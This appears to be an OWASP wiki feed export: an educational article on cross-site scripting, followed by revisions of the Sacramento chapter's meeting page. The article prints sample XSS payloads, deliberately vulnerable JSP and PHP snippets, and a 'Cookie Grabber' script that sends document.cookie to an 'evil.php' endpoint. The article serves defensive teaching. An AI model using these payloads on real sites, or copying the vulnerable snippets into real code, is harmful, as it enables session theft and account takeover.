See the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Phishing|Phishing]].&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Data Validation]].&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on [[Reviewing Code for Cross-site scripting]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for Cross-site scripting  Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for Cross site scripting|Test for Cross site scripting]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting (XSS) attacks occur when:&lt;br /&gt;
&lt;br /&gt;
# Data enters a Web application through an untrusted source, most frequently a web request. &lt;br /&gt;
#The data is included in dynamic content that is sent to a web user without being validated for malicious code. &lt;br /&gt;
&lt;br /&gt;
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.&lt;br /&gt;
&lt;br /&gt;
===Stored and Reflected XSS Attacks===&lt;br /&gt;
XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well known type of XSS attack called [[DOM Based XSS |DOM Based XSS]] that is discussed seperately [[DOM Based XSS |here]].&lt;br /&gt;
&lt;br /&gt;
====Stored XSS Attacks====&lt;br /&gt;
Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.&lt;br /&gt;
&lt;br /&gt;
====Reflected XSS Attacks====&lt;br /&gt;
Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a &amp;quot;trusted&amp;quot; server.&lt;br /&gt;
&lt;br /&gt;
====XSS Attack Consequences====&lt;br /&gt;
The consequence of an XSS attack is the same regardless of whether it is stored or reflected ([[DOM Based XSS |or DOM Based]]). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.&lt;br /&gt;
&lt;br /&gt;
===How to Determine If You Are Vulnerable===&lt;br /&gt;
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.&lt;br /&gt;
&lt;br /&gt;
===How to Protect Yourself===&lt;br /&gt;
The primary defenses against XSS are described in the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet |OWASP XSS Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user's cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI |OWASP ESAPI project]] has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the [[:Category:OWASP WebGoat Project|OWASP WebGoat Project]] training application has lessons on Cross-Site Scripting and data encoding.&lt;br /&gt;
&lt;br /&gt;
===Alternate XSS Syntax===&lt;br /&gt;
====XSS using Script in Attributes====&lt;br /&gt;
&lt;br /&gt;
XSS attacks may be conducted without using &amp;lt;script&amp;gt;&amp;lt;/script&amp;gt; tags.&lt;br /&gt;
Other tags will do exacly the same thing, for example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;body onload=alert('test1')&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
or other attribites like: onmouseover, onerror.&lt;br /&gt;
&lt;br /&gt;
onmouseover&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;b onmouseover=alert('Wufff!')&amp;gt;click me!&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;/prE&amp;gt;&lt;br /&gt;
onerror&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;img src=&amp;quot;http://url.to.file.which/not.exist&amp;quot; onerror=alert(document.cookie);&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====XSS using Script Via Encoded URI Schemes====&lt;br /&gt;
&lt;br /&gt;
If we need to hide against web application filters we may try to encode string characters, e.g.: a=&amp;amp;#X41 (UTF-8) and use it in&lt;br /&gt;
IMG tag:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;IMG SRC=j&amp;amp;#X41vascript:alert('test2')&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
There are many different UTF-8 encoding notations what give us even more possibilities.&lt;br /&gt;
&lt;br /&gt;
====XSS using code encoding====&lt;br /&gt;
&lt;br /&gt;
We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in RFC 2397&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot;&lt;br /&gt;
CONTENT=&amp;quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
These (just a little modified by me) and others examples can be found on http://ha.ckers.org/xss.html, which is a true encyclopedia of the alternate XSS syntax attack.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.&lt;br /&gt;
&lt;br /&gt;
The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality. &lt;br /&gt;
&lt;br /&gt;
===Example 1=== &lt;br /&gt;
&lt;br /&gt;
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	&amp;lt;% String eid = request.getParameter(&amp;quot;eid&amp;quot;); %&amp;gt; &lt;br /&gt;
	...&lt;br /&gt;
	Employee ID: &amp;lt;%= eid %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.&lt;br /&gt;
&lt;br /&gt;
Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
	&amp;lt;%... &lt;br /&gt;
	 Statement stmt = conn.createStatement();&lt;br /&gt;
	 ResultSet rs = stmt.executeQuery(&amp;quot;select * from emp where id=&amp;quot;+eid);&lt;br /&gt;
	 if (rs != null) {&lt;br /&gt;
	  rs.next(); &lt;br /&gt;
	  String name = rs.getString(&amp;quot;name&amp;quot;);&lt;br /&gt;
	%&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	Employee Name: &amp;lt;%= name %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a &amp;quot;guestbook&amp;quot; to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.&lt;br /&gt;
&lt;br /&gt;
As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:&lt;br /&gt;
&lt;br /&gt;
* As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities. &lt;br /&gt;
* As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. &lt;br /&gt;
* A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content. &lt;br /&gt;
&lt;br /&gt;
=== Attack Examples ===&lt;br /&gt;
&lt;br /&gt;
'''Example 1 : Cookie Grabber'''&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;br /&gt;
var adr = '../evil.php?cakemonster=' + escape(document.cookie);&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in &amp;quot;cakemonster&amp;quot; variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.&lt;br /&gt;
&lt;br /&gt;
===Error Page Example===&lt;br /&gt;
&lt;br /&gt;
Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error&lt;br /&gt;
page. We may use the code below as an example to inform user about what specific page is missing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;? php&lt;br /&gt;
print &amp;quot;Not found: &amp;quot; . urldecode($_SERVER[&amp;quot;REQUEST_URI&amp;quot;]);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Let's see how it works:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://testsite.test/file_which_not_exist&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In response we get:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Not found: /file_which_not_exist&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now we will try to force the error page to include our code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://testsite.test/&amp;lt;script&amp;gt;alert(&amp;quot;TEST&amp;quot;);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The result is:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Not found: / (but with JavaScript code &amp;lt;script&amp;gt;alert(&amp;quot;TEST&amp;quot;);&amp;lt;/script&amp;gt;)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We have successfully injected the code, our XSS! What does it mean? For example, that we&lt;br /&gt;
may use this flaw to try to steal a user's session cookie.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Related [[Threat Agents]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[XSS Attacks]]&lt;br /&gt;
* [[:Category:Injection Attack]]&lt;br /&gt;
* [[Invoking untrusted mobile code]]&lt;br /&gt;
* [[Cross Site History Manipulation (XSHM)]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
* [[Cross Site Scripting Flaw]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
* [[HTML Entity Encoding]]&lt;br /&gt;
* [[Output Validation]]&lt;br /&gt;
* [[Canonicalization]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]&lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]] &lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]] &lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]&lt;br /&gt;
* OWASP's [[How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application|How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's Stinger)]] &lt;br /&gt;
* Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS&lt;br /&gt;
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml &lt;br /&gt;
* XSS Cheat Sheet: http://ha.ckers.org/xss.html&lt;br /&gt;
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html &lt;br /&gt;
* CERT “Understanding Malicious Content Mitigation” http://www.cert.org/tech_tips/malicious_code_mitigation.html &lt;br /&gt;
* Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html &lt;br /&gt;
* XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Top Ten Project]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=90700</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=90700"/>
				<updated>2010-10-05T14:26:38Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:michael.weber35@gmail.com Michael Weber].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Next meeting: TBD ==&lt;br /&gt;
&lt;br /&gt;
We are currently recruiting a speaker for our October/November meeting.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Future meetings ==&lt;br /&gt;
We always want ideas!  Send your request for a meeting topic to a chapter leader or the [http://lists.owasp.org/mailman/listinfo/owasp-sacramento chapter mailing list].  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2010-09-30: Roman Hustad conducted a &amp;quot;Threat Modeling Workshop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-06-24: [mailto:michael.weber35@gmail.com Michael Weber] conducted a &amp;quot;SQL Injection Lab&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-05-27: Erik Peterson of [http://www.veracode.com Veracode] presented &amp;quot;Automated Web Application Testing - Why we're Doing It Wrong&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-04-29: Roman Hustad presented &amp;quot;The Secure Software Development Lifecycle&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-03-25: Mike Fauzy of [http://www.aspectsecurity.com Aspect Security] presented &amp;quot;Tool Assisted Manual Code Review - Manual Precision with Automated Performance&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-02-25: Arshad Noor of [http://www.strongauth.com/ StrongAuth, Inc.] presented &amp;quot;Key Management &amp;amp; Encryption&amp;quot;  [http://www.mediafire.com/file/jz5dyu1wiyk/EKM-1.0.pdf Download presentation]&lt;br /&gt;
&lt;br /&gt;
2009-12-09: Alex Smolen presented &amp;quot;The OWASP .NET ESAPI&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-10-08: Ned Allison chaired a roundtable on &amp;quot;Database Security&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=89791</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=89791"/>
				<updated>2010-09-22T17:36:10Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:michael.weber35@gmail.com Michael Weber].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Next meeting: THREAT MODELING WORKSHOP, Thursday, September 30 2010 6-8pm ==&lt;br /&gt;
&lt;br /&gt;
Threat Modeling is one of the cheapest and most effective methods to identify and prioritize security risks, but few practice it because it is perceived as too difficult.  Roman Hustad will share from his threat modeling experiences how a basic threat model can be constructed in hours rather than days.  This will be a ''work''shop, not a presentation so come prepared to stand up and participate.  Roman will give a brief introduction to Threat Modeling and propose a simplified methodology.  The team will then build a threat model for the fictional Hacme Books e-commerce web application (optional: [http://www.foundstone.com/us/resources/proddesc/hacmebooks.htm download] and play with the application ahead of time).&lt;br /&gt;
&lt;br /&gt;
Pizza and drinks will be provided by the chapter.  (Thanks to those of you who became OWASP members in 2010!)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''SPEAKER BIO:''' Roman Hustad is a local enterprise software developer in the financial services industry and was formerly a software security consultant at Foundstone. He has constructed applications large and small and torn others apart via penetration testing, threat modeling, and code review.  Roman also enjoys teaching software security and is one of the OWASP Sacramento chapter leaders. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''RSVP &amp;amp; LOCATION:''' Please [http://owaspsacramento.eventbrite.com/ RSVP] for this event. Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
*: HP Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670&lt;br /&gt;
&lt;br /&gt;
== Future meetings ==&lt;br /&gt;
We always want ideas!  Send your request for a meeting topic to a chapter leader or the [http://lists.owasp.org/mailman/listinfo/owasp-sacramento chapter mailing list].  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2010-06-24: [mailto:michael.weber35@gmail.com Michael Weber] conducted a &amp;quot;SQL Injection Lab&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-05-27: Erik Peterson of [http://www.veracode.com Veracode] presented &amp;quot;Automated Web Application Testing - Why we're Doing It Wrong&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-04-29: Roman Hustad presented &amp;quot;The Secure Software Development Lifecycle&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-03-25: Mike Fauzy of [http://www.aspectsecurity.com Aspect Security] presented &amp;quot;Tool Assisted Manual Code Review - Manual Precision with Automated Performance&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-02-25: Arshad Noor of [http://www.strongauth.com/ StrongAuth, Inc.] presented &amp;quot;Key Management &amp;amp; Encryption&amp;quot;  [http://www.mediafire.com/file/jz5dyu1wiyk/EKM-1.0.pdf Download presentation]&lt;br /&gt;
&lt;br /&gt;
2009-12-09: Alex Smolen presented &amp;quot;The OWASP .NET ESAPI&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-10-08: Ned Allison chaired a roundtable on &amp;quot;Database Security&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=89403</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=89403"/>
				<updated>2010-09-16T08:29:20Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: /* Next meeting: THREAT MODELING WORKSHOP, Thursday, September 30 2010 6-8pm */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad], [mailto:mpetteys@caiso.com Matt Petteys], and [mailto:michael.weber35@gmail.com Michael Weber].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Next meeting: THREAT MODELING WORKSHOP, Thursday, September 30 2010 6-8pm ==&lt;br /&gt;
&lt;br /&gt;
Threat Modeling is one of the cheapest and most effective methods to identify and prioritize security risks, but few practice it because it is perceived as too difficult.  Roman Hustad will share from his threat modeling experiences how a basic threat model can be constructed in hours rather than days.  This will be a ''work''shop, not a presentation so come prepared to stand up and participate.  Roman will give a brief introduction to Threat Modeling and propose a simplified methodology.  The team will then build a threat model for the fictional Hacme Books e-commerce web application (optional: [http://www.foundstone.com/us/resources/proddesc/hacmebooks.htm download] and play with the application ahead of time).&lt;br /&gt;
&lt;br /&gt;
Dinner and drinks will be provided by the chapter.  (Thanks to those of you who became OWASP members in 2010!)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''SPEAKER BIO:''' Roman Hustad is a local enterprise software developer in the financial services industry and was formerly a software security consultant at Foundstone. He has constructed applications large and small and torn others apart via penetration testing, threat modeling, and code review.  Roman also enjoys teaching software security and is one of the OWASP Sacramento chapter leaders. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''RSVP &amp;amp; LOCATION:''' Please [http://owaspsacramento.eventbrite.com/ RSVP] for this event. Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
